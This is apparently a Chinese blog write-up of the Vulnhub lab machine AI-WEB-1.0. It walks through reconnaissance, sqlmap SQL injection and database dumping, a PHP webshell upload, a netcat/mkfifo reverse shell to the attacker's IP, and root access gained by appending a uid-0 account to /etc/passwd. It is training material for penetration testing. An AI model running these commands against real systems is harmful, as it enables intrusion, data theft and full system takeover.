最近想打打靶场,找了几个入门靶场来渗透测试了一下,vulnhub的AI-WEB-1.0这个是我打的第一个靶机,整个过程还是比较顺利的(毕竟是入门级的)。
信息收集
扫描主机
使用netdiscover
发现主机
netdiscover -i eth0 -r 192.168.30.0/24 |

扫描端口
使用nmap
扫描存活主机的端口
nmap -sS -sV -A -n 192.168.30.132 |
只得到80
端口

浏览器访问一下192.168.30.132:80
,好吧果然什么都没有

扫描目录
使用dirb
扫描目录
参考:DIRB:一款强大的Web目录扫描工具使用指南
dirb http://192.168.30.132 -o dirb.txt |

直接访问url
http://192.168.30.132/server-status
,无权限

http://192.168.30.132/robots.txt
,发现两个目录

访问这两个目录,都是无权限,下面再使用dirb
扫描这两个目录
/m3diNf0/
目录:

访问http://192.168.30.132/m3diNf0/info.php
,是php
配置文件,在里面发现了网站的绝对路径

/se3reTdir777/
目录:

访问http://192.168.30.132/se3reTdir777/index.php
,看起来是一个sql
注入漏洞

访问http://192.168.30.132/se3reTdir777/uploads/
,无权限

漏洞利用
sql
注入
先bp
抓包一下,确定是POST
传参并找到注入点

使用sqlmap
工具进行sql
注入
sqlmap -u "http://192.168.30.132/se3reTdir777/" --data "uid=11&Operation=Submit" --dbs |

sqlmap -u "http://192.168.30.132/se3reTdir777/" --data "uid=1&Operation=Submit" -D aiweb1 --tables |

sqlmap -u "http://192.168.30.132/se3reTdir777/" --data "uid=1&Operation=Submit" -D aiweb1 -T user --columns |

sqlmap -u "http://192.168.30.132/se3reTdir777/" --data "uid=1&Operation=Submit" -D aiweb1 -T systemUser -dump |

尝试--os-shell
sqlmap -u "http://192.168.30.132/se3reTdir777/" --data "uid=1&Operation=Submit" --os-shell |

第一个选4(PHP)
,第二个选项选2
(自定义目录位置),这里需要提供绝对路径
前面在php
配置文件中我们找到了网站的绝对路径为/home/www/html/web1x443290o2sdf92213/
,扫描/se3reTdir777/
目录时,出现了/se3reTdir777/index.php
和/se3reTdir777/uploads/
两个路径,访问这两个路径都存在sql
注入漏洞,所以这里我两个路径都尝试了一下,uploads/
这个对了。
拿到shell
,但是权限较低是www-data
文件上传
hack.php
,本地的一句话木马文件
使用sqlmap
上传hack.php
文件
sqlmap -u "http://192.168.30.132/se3reTdir777/" --data "uid=1&Operation=Submit" --file-write ./hack.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/hack.php |
--file-read
:从后端DBMS
文件系统读取文件--file-write
:在后端DBMS
文件系统上写入本地文件--file-dest
:要写入的文件在DBMS
上的绝对路径
然后使用蚁剑连接

反弹shell
在kali
本地监听 nc -lvvp 6666
在蚁剑虚拟终端上nc
反弹,发现参数-e
不可用
nc -e /bin/bash 192.168.30.130 6666 |
在蚁剑终端上创建反向shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1 | nc 192.168.30.130 6666 >/tmp/f |
mkfifo /tmp/f
:创建一个命令管道(FIFO
),命名为/tmp/f
。命名管道允许进程间的通信。cat /tmp/f
:读取/tmp/f
文件的内容。由于/tmp/f
是一个命名管道,这个命令会等待数据被写入管道。/bin/sh -i
:启动一个交互式的shell
。-i
参数表示交互式模式。2>&1
:将标准错误(stderr
)重定向到标准输出(stdout
)。这意味着所有通过shell
产生的错误消息也会被发送到同一个输出。| nc 192.168.30.130 6666
:将cat
命令的输出(即shell
的输入)过管道传递给nc
(netcat
)命令。nc
命令连接到 IP 地址192.168.0.103
的6666
端口,并将数据发送到该端口。>/tmp/f
:将nc
命令的输出重定向到/tmp/f
文件。这样,cat /tmp/f
命令就会读取这些数据,并将其作为输入传递给/bin/sh -i
,从而允许远程用户通过nc
发送的命令来控制shell
。
成功反弹shell
,但依旧权限较低

提权
进入交互式shell
python -c 'import pty;pty.spawn("/bin/bash")' |
搜索属于root
用户且具有setuid
权限位的文件
find / -user root -perm -4000 -print 2>/dev/null |
查看内核版本
uname -a |
添加root
账号
生成Linux
系统用户密钥
openssl passwd -1 -salt jt 5799 |

读写/etc/passwd
文件
echo 'jt:$1$jt$iCU3U.0M3WJQhDq5RlET00:0:0::/root:/bin/bash' >> /etc/passwd |
登录账号
su jt |

查看flag

参考文章
[看完这篇 教你玩转渗透测试靶机vulnhub——Ai-Web1](看完这篇 教你玩转渗透测试靶机vulnhub——Ai-Web1-CSDN博客)
[Vulnhub靶机渗透之 AI: Web: 1](Vulnhub靶机渗透之 AI: Web: 1_反弹shell服务器上执行不了ai:web:1-CSDN博客)